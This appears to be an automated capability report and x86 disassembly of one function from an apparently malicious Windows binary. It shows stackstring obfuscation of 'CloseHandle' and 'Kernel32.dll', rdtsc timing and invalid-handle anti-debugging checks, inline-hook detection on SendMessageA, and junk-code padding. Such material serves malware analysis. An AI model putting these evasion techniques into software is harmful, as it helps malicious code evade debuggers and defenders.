Function at 0x401b7f
Capabilities:
Contain obfuscated stackstrings
Execute anti-debugging instructions
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5e8
push ebx
push esi
push edi
push 0xe
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movzx eax, ax
cmp eax, 0xe
je 0x401ba3
push 1
call dword [sym.imp.msvcrt.dll_exit]
mov dword [ebp - 8], 0x90947a9e
xor eax, dword [0x41fb10]
mov dword [ebp - 0x14], eax
not dword [ebp - 0x14]
not eax
sub dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, 0xffffffff
jne 0x401cb9
push 0x7e
pop eax
imul eax, eax, 0x7f
mov dword [ebp - 0x154], eax
push 0x67
pop eax
xor eax, dword [ebp - 0x154]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x164]
add eax, 0x63
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x16c]
imul eax, eax, 0xb575360
mov dword [ebp - 0x178], eax
push 0x11
pop eax
imul eax, dword [ebp - 0x178]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
imul eax, eax, 0x69c907
mov dword [ebp - 0x160], eax
push 0x2d
pop eax
xor eax, dword [ebp - 0x160]
mov dword [ebp - 0x168], eax
push 0x21
pop eax
or eax, dword [ebp - 0x168]
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x174]
or eax, 0x71bb
mov dword [ebp - 0x14c], eax
mov eax, 0xca
sub eax, dword [ebp - 0x14c]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
and eax, 0x1772
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x170]
xor edx, edx
mov ecx, 0x3324037d
div ecx
mov dword [ebp - 0x158], edx
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.WINSPOOL.DRV_ClosePrinter]
push 0
push 0
push 0
call dword [sym.imp.WINMM.dll_PlaySoundA]
push 0xc
call dword [sym.imp.msvcrt.dll_exit]
and dword [ebp - 0x10], 0
push 4
push 0x75
push 0xa8
push 0xa0
push 0x2b
mov ecx, 0xb5
mov eax, 0xdf
call fcn.00401992
add esp, 0x14
mov dword [ebp - 0x14], eax
and dword [ebp - 8], 0
push 0x64
push 0x6c
push 0x1f
push 0x57
push 0x18
mov eax, 0x8e
push 0x70
pop ecx
mov edx, dword [ebp - 0x14]
call fcn.004019cc
add esp, 0x14
mov dword [ebp - 0x14], eax
push 0x58
call dword [sym.imp.USER32.dll_CharLowerA]
cmp eax, 0x78
jne 0x40258f
mov byte [ebp - 0x1e0], 0x43
mov byte [ebp - 0x1df], 0x6c
mov byte [ebp - 0x1de], 0x6f
mov byte [ebp - 0x1dd], 0x73
mov byte [ebp - 0x1dc], 0x65
mov byte [ebp - 0x1db], 0x48
mov byte [ebp - 0x1da], 0x61
mov byte [ebp - 0x1d9], 0x6e
mov byte [ebp - 0x1d8], 0x64
mov byte [ebp - 0x1d7], 0x6c
mov byte [ebp - 0x1d6], 0x65
mov byte [ebp - 0x1d5], 0
push 0x4b
pop eax
mov word [ebp - 0x1c8], ax
push 0x65
pop eax
mov word [ebp - 0x1c6], ax
push 0x72
pop eax
mov word [ebp - 0x1c4], ax
push 0x6e
pop eax
mov word [ebp - 0x1c2], ax
push 0x65
pop eax
mov word [ebp - 0x1c0], ax
push 0x6c
pop eax
mov word [ebp - 0x1be], ax
push 0x33
pop eax
mov word [ebp - 0x1bc], ax
push 0x32
pop eax
mov word [ebp - 0x1ba], ax
push 0x2e
pop eax
mov word [ebp - 0x1b8], ax
push 0x64
pop eax
mov word [ebp - 0x1b6], ax
push 0x6c
pop eax
mov word [ebp - 0x1b4], ax
push 0x6c
pop eax
mov word [ebp - 0x1b2], ax
xor eax, eax
mov word [ebp - 0x1b0], ax
and dword [ebp - 0x1cc], 0
push 0x74
pop eax
sub eax, 0x75e7
mov dword [ebp - 0x350], eax
mov eax, 0xba
or eax, dword [ebp - 0x350]
mov dword [ebp - 0x358], eax
mov eax, 0x83
imul eax, dword [ebp - 0x358]
mov dword [ebp - 0x360], eax
mov eax, 0xc0
and eax, dword [ebp - 0x360]
mov dword [ebp - 0x364], eax
mov ecx, 0xb7
or ecx, 0xe02086e9
mov eax, dword [ebp - 0x364]
xor edx, edx
div ecx
mov dword [ebp - 0x34c], edx
push 0x6a
pop eax
sub eax, dword [ebp - 0x34c]
mov dword [ebp - 0x354], eax
mov eax, 0xe9
xor eax, dword [ebp - 0x354]
mov dword [ebp - 0x35c], eax
mov eax, dword [ebp - 0x35c]
mov dword [0x424b6c], eax
mov dword [ebp - 0x2e8], 0xb60bea92
mov dword [ebp - 0x2ec], 0xb60bea92
xor eax, eax
lea eax, [eax]
add eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, dword [ebp - 0x2e8]
mov dword [0x424b68], eax
xor eax, dword [ebp - 0x2ec]
xor dword [0x424b68], 0xb60bea92
mov dword [ebp - 0x2fc], 0xdbfab482
mov dword [ebp - 0x304], 0xc8466821
mov dword [ebp - 0x308], 0xc8466821
or dword [ebp - 0x300], 0xffffffff
mov dword [ebp - 0x2f4], 0x99d6710f
mov dword [ebp - 0x2f0], 0x99d6710f
mov dword [ebp - 0x310], 0x3a98739f
mov dword [ebp - 0x30c], 0x54162a68
mov dword [ebp - 0x2f8], 0x54162a68
xor eax, eax
sub eax, 1
and eax, dword [ebp - 0x2e4]
mov edx, 0x1a20d16b
mov ecx, dword [0x41fb20]
or ecx, dword [ebp - 0x2fc]
xor ecx, eax
not ecx
mov edx, dword [ebp - 0x304]
sub edx, dword [ebp - 0x308]
xor edx, 0xfc64ad56
rdtsc
xor eax, dword [ebp - 0x300]
mov dword [ebp - 0x2e4], eax
not dword [ebp - 0x2e4]
not eax
mov edx, dword [ebp - 0x2f4]
sub edx, dword [ebp - 0x2f0]
add edx, 0xc494765d
mov eax, dword [0x41fb24]
sub eax, dword [ebp - 0x310]
or eax, ecx
mov bx, bx
mov edx, dword [ebp - 0x30c]
sub edx, dword [ebp - 0x2f8]
xor edx, 0xc7545eda
and dword [ebp - 0x368], 0
jmp 0x401f9d
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 1
jge 0x401fae
call dword [sym.imp.KERNEL32.dll_GetACP]
jmp 0x401f90
mov dword [ebp - 0x324], 0xd3297d24
mov dword [ebp - 0x318], 0xd3297d24
mov dword [ebp - 0x320], 0x2a0a9281
mov dword [ebp - 0x31c], 0xd5f56d7e
mov dword [ebp - 0x314], 0xc4834077
mov eax, dword [ebp - 0x324]
xor eax, dword [ebp - 0x318]
xor eax, dword [ebp - 0x1d0]
xor edx, edx
xor edx, 0x8586197c
lea edi, [edi]
mov dword [ebp - 0x328], eax
mov ecx, dword [ebp - 0x328]
push di
pop di
mov edx, dword [ebp - 0x320]
or edx, dword [ebp - 0x31c]
xor edx, 0x1bf18932
not edx
lea ebp, [ebp]
rdtsc
mov edx, 0x29ea6122
lea eax, [eax]
mov dword [ebp - 0x1d0], eax
push bx
pop bx
xor edx, edx
or edx, 0x48946d6
mov eax, dword [ebp - 0x314]
or eax, dword [0x41fb28]
xor eax, ecx
not eax
mov edx, dword [0x41fb2c]
sub edx, dword [0x41fb30]
or edx, 0x5702a59
and dword [ebp - 0x36c], 0
jmp 0x402076
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 1
jge 0x402094
xor eax, eax
sub eax, 1
xor eax, dword [0x424b68]
not eax
lea esi, [esi]
push 0
call eax
jmp 0x402069
mov dword [ebp - 0x334], 0x2d7f6ae1
mov dword [ebp - 0x338], 0xae418f3a
mov dword [ebp - 0x33c], 0xae418f3a
mov dword [ebp - 0x330], 0x80218990
mov dword [ebp - 0x32c], 0xa89a64f0
mov eax, dword [0x41fb34]
xor eax, dword [ebp - 0x334]
xor eax, dword [ebp - 0x1d4]
mov edx, 0xb884b518
mov ecx, dword [0x41fb38]
xor ecx, dword [0x41fb3c]
or ecx, eax
xor edx, edx
or edx, 0x7acaab18
rdtsc
xor eax, dword [ebp - 0x338]
mov dword [ebp - 0x1d4], eax
xor eax, dword [ebp - 0x33c]
xor dword [ebp - 0x1d4], 0xae418f3a
xor edx, edx
xor edx, 0x26105c98
mov eax, dword [ebp - 0x330]
xor eax, dword [0x41fb40]
xor eax, ecx
not eax
mov edx, dword [ebp - 0x32c]
xor edx, dword [0x41fb44]
xor edx, 0x782fc19a
not edx
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x13
jl 0x4021e5
mov dword [ebp - 0x344], 0x514382cb
mov dword [ebp - 0x340], 0xab422a87
mov dword [ebp - 0x348], 0xab422a87
push esp
pop dword [0x424b60]
mov edx, dword [ebp - 0x344]
sub edx, dword [0x41fb48]
xor edx, 0x611a5966
mov edx, 0x1b4a074d
mov edx, dword [ebp - 0x340]
sub edx, dword [ebp - 0x348]
xor edx, 0x7f367be1
mov edx, 0x604ef5cb
push si
pop si
mov edx, dword [0x41fb4c]
xor edx, dword [0x41fb50]
xor edx, 0xa36c7a66
xor edx, edx
dec edx
and edx, 0xd9b3cea0
mov edx, dword [0x41fb54]
or edx, dword [0x41fb58]
xor edx, 0xa4a50054
not edx
and dword [ebp - 0x370], 0
jmp 0x402214
mov eax, dword [ebp - 0x1d4]
sub eax, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x1d0]
sub ecx, dword [ebp - 0x2e4]
xor edx, edx
div ecx
cmp eax, 3
jbe 0x401eb4
mov dword [ebp - 0x370], 1
cmp dword [ebp - 0x370], 0
je 0x40258f
and dword [ebp - 0x3ec], 0
mov eax, dword [0x424b6c]
imul eax, dword [ebp - 0x37c]
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
or eax, 0x3b4ad673
mov dword [ebp - 0x388], eax
mov eax, dword [ebp - 0x388]
mov dword [0x424b6c], eax
push dword [sym.imp.USER32.dll_SendMessageA]
pop dword [ebp - 0x3ec]
mov eax, dword [ebp - 0x3ec]
movzx eax, byte [eax]
shl eax, 0x1b
push eax
xor ecx, ecx
call fcn.00401b1d
pop ecx
mov dword [0x424b6c], eax
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x390], eax
mov eax, dword [ebp - 0x3ec]
movzx eax, byte [eax]
shl eax, 0x15
push eax
push 0
call fcn.00401b41
pop ecx
pop ecx
mov dword [0x424b6c], eax
mov eax, dword [ebp - 0x390]
mov al, byte [eax]
mov byte [ebp - 0x389], al
mov eax, dword [ebp - 0x3ec]
movzx eax, byte [eax]
shl eax, 9
push eax
xor eax, eax
call fcn.00401b58
pop ecx
mov dword [0x424b6c], eax
movzx eax, byte [ebp - 0x389]
cmp eax, 0xe9
je 0x4022e5
and dword [ebp - 0x3f0], 0
jmp 0x402586
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x37c], eax
mov eax, dword [0x424b6c]
imul eax, eax, 0x2920
mov dword [ebp - 0x394], eax
mov ecx, dword [ebp - 0x394]
or ecx, 0x41887b98
mov eax, 0x47511636
xor edx, edx
div ecx
mov dword [ebp - 0x398], eax
mov eax, dword [ebp - 0x37c]
mov ecx, dword [eax]
or ecx, 0x647684dd
mov eax, dword [ebp - 0x398]
xor edx, edx
div ecx
mov dword [ebp - 0x39c], edx
mov eax, dword [ebp - 0x39c]
mov dword [0x424b6c], eax
mov eax, dword [ebp - 0x37c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3ec]
lea eax, [ecx + eax + 5]
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x380]
movzx eax, byte [eax + 2]
push eax
mov eax, dword [ebp - 0x37c]
push dword [eax]
call fcn.00401945
pop ecx
pop ecx
mov dword [0x424b6c], eax
mov eax, dword [ebp - 0x380]
movzx eax, byte [eax]
shl eax, 0x1b
push eax
xor ecx, ecx
call fcn.00401b1d
pop ecx
mov dword [0x424b6c], eax
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x3a4], eax
mov eax, dword [ebp - 0x380]
movzx eax, byte [eax]
shl eax, 0x15
push eax
push 0
call fcn.00401b41
pop ecx
pop ecx
mov dword [0x424b6c], eax
mov eax, dword [ebp - 0x3a4]
mov al, byte [eax]
mov byte [ebp - 0x39d], al
mov eax, dword [ebp - 0x380]
movzx eax, byte [eax]
shl eax, 9
push eax
xor eax, eax
call fcn.00401b58
pop ecx
mov dword [0x424b6c], eax
movzx eax, byte [ebp - 0x39d]
cmp eax, 0xe9
je 0x402401
and dword [ebp - 0x3f0], 0
jmp 0x402586
mov eax, dword [ebp - 0x380]
movzx eax, byte [eax + 2]
add eax, 0x29
mov dword [ebp - 0x3a8], eax
mov eax, dword [ebp - 0x37c]
mov eax, dword [eax]
sub eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x3ac], eax
mov eax, dword [0x424b6c]
add eax, dword [ebp - 0x3ac]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x3b0]
mov dword [0x424b6c], eax
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x380]
movzx eax, byte [eax + 6]
push eax
mov eax, dword [ebp - 0x374]
push dword [eax]
call fcn.0040197b
pop ecx
pop ecx
mov dword [0x424b6c], eax
mov eax, dword [ebp - 0x374]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x380]
lea eax, [ecx + eax + 5]
mov dword [ebp - 0x378], eax
mov eax, dword [0x424b6c]
xor edx, edx
push 0x6a
pop ecx
div ecx
mov dword [ebp - 0x3c4], edx
push 0x44
pop eax
sub eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x3c8], eax
mov ecx, dword [ebp - 0x3c8]
or ecx, 0x950f8913
mov eax, dword [ebp - 0x37c]
mov eax, dword [eax]
xor edx, edx
div ecx
mov dword [ebp - 0x3cc], eax
push 0x72
pop eax
sub eax, dword [ebp - 0x3cc]
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x380]
movzx eax, byte [eax + 2]
xor eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x3c0], eax
mov eax, dword [ebp - 0x3c0]
mov dword [0x424b6c], eax
mov eax, dword [ebp - 0x378]
movzx eax, byte [eax]
shl eax, 0x1b
push eax
push 0xc
pop ecx
call fcn.00401b1d
pop ecx
mov dword [0x424b6c], eax
mov eax, dword [ebp - 0x378]
add eax, 0xc
mov dword [ebp - 0x3d8], eax
mov eax, dword [ebp - 0x378]
movzx eax, byte [eax]
shl eax, 0x15
push eax
push 0xc
jmp 0x427190
cmp dword [ebp - 0x3f0], 0
je 0x4025a4
mov eax, 0x93
call fcn.00401a3b
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.msvcrt.dll_exit]
and dword [ebp - 0x130], 0
lea eax, [ebp - 0x1c]
push eax
push 0x41ae38
push 0x80000004
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 6
je 0x4025ed
push 0x50
push 0xbc
push 0x77
push dword [ebp - 0x130]
call fcn.00401a3f
add esp, 0x10
mov dword [ebp - 0x14], eax
jmp fcn.00402bec
mov byte [ebp - 0x440], 0x43
mov byte [ebp - 0x43f], 0x6c
mov byte [ebp - 0x43e], 0x6f
mov byte [ebp - 0x43d], 0x73
mov byte [ebp - 0x43c], 0x65
mov byte [ebp - 0x43b], 0x48
mov byte [ebp - 0x43a], 0x61
mov byte [ebp - 0x439], 0x6e
mov byte [ebp - 0x438], 0x64
mov byte [ebp - 0x437], 0x6c
mov byte [ebp - 0x436], 0x65
mov byte [ebp - 0x435], 0
push 0x4b
pop eax
mov word [ebp - 0x428], ax
push 0x65
pop eax
mov word [ebp - 0x426], ax
push 0x72
pop eax
mov word [ebp - 0x424], ax
push 0x6e
pop eax
mov word [ebp - 0x422], ax
push 0x65
pop eax
mov word [ebp - 0x420], ax
push 0x6c
pop eax
mov word [ebp - 0x41e], ax
push 0x33
pop eax
mov word [ebp - 0x41c], ax
push 0x32
pop eax
mov word [ebp - 0x41a], ax
push 0x2e
pop eax
mov word [ebp - 0x418], ax
push 0x64
pop eax
mov word [ebp - 0x416], ax
push 0x6c
pop eax
mov word [ebp - 0x414], ax
push 0x6c
pop eax
mov word [ebp - 0x412], ax
xor eax, eax
mov word [ebp - 0x410], ax
and dword [ebp - 0x42c], 0
push 0x74
pop eax
sub eax, 0x75e7
mov dword [ebp - 0x5b0], eax
mov eax, 0xba
or eax, dword [ebp - 0x5b0]
mov dword [ebp - 0x5b8], eax
mov eax, 0x83
imul eax, dword [ebp - 0x5b8]
mov dword [ebp - 0x5c0], eax
mov eax, 0xc0
and eax, dword [ebp - 0x5c0]
mov dword [ebp - 0x5c4], eax
mov ecx, 0xb7
or ecx, 0xe02086e9
mov eax, dword [ebp - 0x5c4]
xor edx, edx
div ecx
mov dword [ebp - 0x5ac], edx
push 0x6a
pop eax
sub eax, dword [ebp - 0x5ac]
mov dword [ebp - 0x5b4], eax
mov eax, 0xe9
xor eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x5bc], eax
mov eax, dword [ebp - 0x5bc]
mov dword [0x424b6c], eax
mov dword [ebp - 0x548], 0xb60bea92
mov dword [ebp - 0x54c], 0xb60bea92
xor eax, eax
lea eax, [eax]
add eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, dword [ebp - 0x548]
mov dword [0x424b68], eax
xor eax, dword [ebp - 0x54c]
xor dword [0x424b68], 0xb60bea92
mov dword [ebp - 0x55c], 0xdbfab482
mov dword [ebp - 0x564], 0xc8466821
mov dword [ebp - 0x568], 0xc8466821
or dword [ebp - 0x560], 0xffffffff
mov dword [ebp - 0x554], 0x99d6710f
mov dword [ebp - 0x550], 0x99d6710f
mov dword [ebp - 0x570], 0x3a98739f
mov dword [ebp - 0x56c], 0x54162a68
mov dword [ebp - 0x558], 0x54162a68
xor eax, eax
sub eax, 1
and eax, dword [ebp - 0x544]
mov edx, 0x1a20d16b
mov ecx, dword [0x41fb20]
or ecx, dword [ebp - 0x55c]
xor ecx, eax
not ecx
mov edx, dword [ebp - 0x564]
sub edx, dword [ebp - 0x568]
xor edx, 0xfc64ad56
rdtsc
xor eax, dword [ebp - 0x560]
mov dword [ebp - 0x544], eax
not dword [ebp - 0x544]
not eax
mov edx, dword [ebp - 0x554]
sub edx, dword [ebp - 0x550]
add edx, 0xc494765d
mov eax, dword [0x41fb24]
sub eax, dword [ebp - 0x570]
or eax, ecx
mov bx, bx
mov edx, dword [ebp - 0x56c]
sub edx, dword [ebp - 0x558]
xor edx, 0xc7545eda
and dword [ebp - 0x5c8], 0
jmp 0x402873
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 1
jge 0x402884
call dword [sym.imp.KERNEL32.dll_GetACP]
jmp 0x402866
mov dword [ebp - 0x584], 0xd3297d24
mov dword [ebp - 0x578], 0xd3297d24
mov dword [ebp - 0x580], 0x2a0a9281
mov dword [ebp - 0x57c], 0xd5f56d7e
mov dword [ebp - 0x574], 0xc4834077
mov eax, dword [ebp - 0x584]
xor eax, dword [ebp - 0x578]
xor eax, dword [ebp - 0x430]
xor edx, edx
xor edx, 0x8586197c
lea edi, [edi]
mov dword [ebp - 0x588], eax
mov ecx, dword [ebp - 0x588]
push di
pop di
mov edx, dword [ebp - 0x580]
or edx, dword [ebp - 0x57c]
xor edx, 0x1bf18932
not edx
lea ebp, [ebp]
rdtsc
mov edx, 0x29ea6122
lea eax, [eax]
mov dword [ebp - 0x430], eax
push bx
pop bx
xor edx, edx
or edx, 0x48946d6
mov eax, dword [ebp - 0x574]
or eax, dword [0x41fb28]
xor eax, ecx
not eax
mov edx, dword [0x41fb2c]
sub edx, dword [0x41fb30]
or edx, 0x5702a59
and dword [ebp - 0x5cc], 0
jmp 0x40294c
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 1
jge 0x40296a
xor eax, eax
sub eax, 1
xor eax, dword [0x424b68]
not eax
lea esi, [esi]
push 0
call eax
jmp 0x40293f
mov dword [ebp - 0x594], 0x2d7f6ae1
mov dword [ebp - 0x598], 0xae418f3a
mov dword [ebp - 0x59c], 0xae418f3a
mov dword [ebp - 0x590], 0x80218990
mov dword [ebp - 0x58c], 0xa89a64f0
mov eax, dword [0x41fb34]
xor eax, dword [ebp - 0x594]
xor eax, dword [ebp - 0x434]
mov edx, 0xb884b518
mov ecx, dword [0x41fb38]
xor ecx, dword [0x41fb3c]
or ecx, eax
xor edx, edx
or edx, 0x7acaab18
rdtsc
xor eax, dword [ebp - 0x598]
mov dword [ebp - 0x434], eax
xor eax, dword [ebp - 0x59c]
xor dword [ebp - 0x434], 0xae418f3a
xor edx, edx
xor edx, 0x26105c98
mov eax, dword [ebp - 0x590]
xor eax, dword [0x41fb40]
xor eax, ecx
not eax
mov edx, dword [ebp - 0x58c]
xor edx, dword [0x41fb44]
xor edx, 0x782fc19a
not edx
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0x13
jl 0x402abb
mov dword [ebp - 0x5a4], 0x514382cb
mov dword [ebp - 0x5a0], 0xab422a87
mov dword [ebp - 0x5a8], 0xab422a87
push esp
pop dword [0x424b60]
mov edx, dword [ebp - 0x5a4]
sub edx, dword [0x41fb48]
xor edx, 0x611a5966
mov edx, 0x1b4a074d
mov edx, dword [ebp - 0x5a0]
sub edx, dword [ebp - 0x5a8]
xor edx, 0x7f367be1
mov edx, 0x604ef5cb
push si
pop si
mov edx, dword [0x41fb4c]
xor edx, dword [0x41fb50]
xor edx, 0xa36c7a66
xor edx, edx
dec edx
and edx, 0xd9b3cea0
mov edx, dword [0x41fb54]
or edx, dword [0x41fb58]
xor edx, 0xa4a50054
not edx
and dword [ebp - 0x5d0], 0
jmp 0x402aea
mov eax, dword [ebp - 0x434]
sub eax, dword [ebp - 0x430]
mov ecx, dword [ebp - 0x430]
sub ecx, dword [ebp - 0x544]
xor edx, edx
div ecx
cmp eax, 3
jbe 0x40278a
mov dword [ebp - 0x5d0], 1
cmp dword [ebp - 0x5d0], 0
je 0x402ba9
mov dword [ebp - 0x13c], 0xd20935d4
mov dword [ebp - 0x148], 0xd20935d4
mov dword [ebp - 0x138], 0xf9949ed9
mov dword [ebp - 0x144], 0x858cfe1e
mov dword [ebp - 0x140], 0x7a7301e1
xor eax, eax
or eax, 0xb1d0b812
mov eax, 0
xor eax, eax
sub eax, 1
xor eax, 0x9bf2e159
not eax
xor ecx, ecx
dec ecx
and ecx, 0x402db5
mov eax, dword [ebp - 0x13c]
xor eax, dword [ebp - 0x148]
xor eax, 0xc5d52dc4
push ecx
mov eax, dword [0x41fb14]
xor eax, dword [ebp - 0x138]
xor eax, 0xb9974163
not eax
xor ecx, ecx
xor ecx, 0x40148b
mov eax, dword [ebp - 0x144]
or eax, dword [ebp - 0x140]
and eax, 0x91babed5
push 0x402b97
push ecx
ret
push dword [ebp - 0x14]
mov eax, 0x402ceb
call fcn.00401a74
pop ecx
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.msvcrt.dll_exit]
pop edi
pop esi
pop ebx
leave
ret 0x10